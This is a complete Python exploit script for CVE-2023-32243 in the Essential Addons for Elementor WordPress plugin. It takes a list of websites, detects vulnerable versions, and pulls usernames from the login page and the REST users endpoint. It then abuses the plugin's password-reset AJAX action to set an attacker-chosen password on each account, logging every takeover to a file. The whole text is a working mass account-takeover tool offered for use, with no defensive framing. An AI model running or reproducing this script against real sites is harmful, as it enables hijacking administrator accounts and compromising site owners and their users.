exploit.py

import re
import sys
import requests
import argparse
from colorama import Fore, Style
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from concurrent.futures import ThreadPoolExecutor


def check_version(target):
    try:
        r = requests.get(f"{target}/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt", verify=False)
        version = re.search(r"Stable tag: (.*)", r.text).groups()[0]
    except:
        print(Fore.RED + 'Error...')
        exit()

    if int(version.replace('.', '')) < 572 and int(version.replace('.', '')) > 539:
        return True
    else:
        return False


def save_result(target, username, password):
    result = f"{target}|{username}|{password}\n"
    with open("success.txt", "a") as file:
        file.write(result)


def exploit(target, username, password):
    s = requests.Session()

    data = {
        'action': 'eael_get_token'
    }

    try:
        r = s.post(f'{target}/wp-admin/admin-ajax.php', data=data, verify=False)
    except:
        return

    try:
        nonce = re.search(r"\"nonce\":\"(.*)\"}", r.text).groups()[0]
    except:
        return

    payload = {
        'eael-resetpassword-submit': 'Reset',
        'widget_id': 1,
        'page_id': 1,
        'eael-resetpassword-nonce': nonce,
        'eael-pass1': password,
        'eael-pass2': password,
        'rp_login': username
    }

    try:
        r = s.post(f'{target}/wp-admin/admin-ajax.php', data=payload, verify=False)
    except:
        return

    if re.search(r"Your password has been reset", r.text) is not None:
        save_result(target, username, password)
        print(Fore.GREEN + f"Successful: {target} ({username} - {password})")
    else:
        print(Fore.RED + f"Unsuccessful: {target} ({username} - {password})")


def find_usernames_html(url):
    response = requests.get(url, verify=False)
    soup = BeautifulSoup(response.text, 'html.parser')
    users = []

    for input_tag in soup.find_all('input', {'name': 'log'}):
        users.append(input_tag.get('value'))

    return users


def find_usernames_wp_json(url):
    response = requests.get(f"{url}/wp-json/wp/v2/users", verify=False)

    if response.status_code == 200:
        users = []

        try:
            json_response = response.json()
        except:
            return users

        for user in json_response:
            if 'slug' in user:
                users.append(user['slug'])

        return users

    else:
        return []


def find_usernames(target):
    usernames_html = find_usernames_html(f"{target}/wp-login.php")
    usernames_wp_json = find_usernames_wp_json(target)
    usernames = usernames_html + usernames_wp_json

    return usernames


if __name__ == "__main__":
    print(Fore.BLUE + "\t\t\t\t|*|*|*|*|*| WordPress Exploit |*|*|*|*|*|")
    print(Fore.BLUE + "\t\t\t\t")
    print(Fore.RED + "\t\t\t\t              M@rAz Ali & MR.Persia")
    print(Fore.RED + "\t\t\t\t")
    print(Fore.RED + "\t\t\t\t|*|*|*|*|  https://t.me/public_html |*|*|*|*|")
    print(Style.RESET_ALL)

    parser = argparse.ArgumentParser(description='Exploit for CVE-2023-32243.')
    parser.add_argument('-l', '--list', required=True, help='Path to the file containing the list of websites')
    parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads (default: 1)')
    parser.add_argument('-p', '--password', required=True, help="New password for the account")

    args = parser.parse_args()

    with open(args.list, "r") as file:
        websites = file.read().splitlines()

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        for target in websites:
            print(Fore.BLUE + f"Target: {target}")
            
            if check_version(target):
                print(Fore.YELLOW + "Vulnerable version found. Starting exploitation...")
                usernames = find_usernames(target)
                
                for username in usernames:
                    executor.submit(exploit, target, username, args.password)
            else:
                print(Fore.YELLOW + "Not vulnerable.")

            print(Style.RESET_ALL)

    print(Fore.GREEN + "Exploitation completed. Results are saved in success.txt.")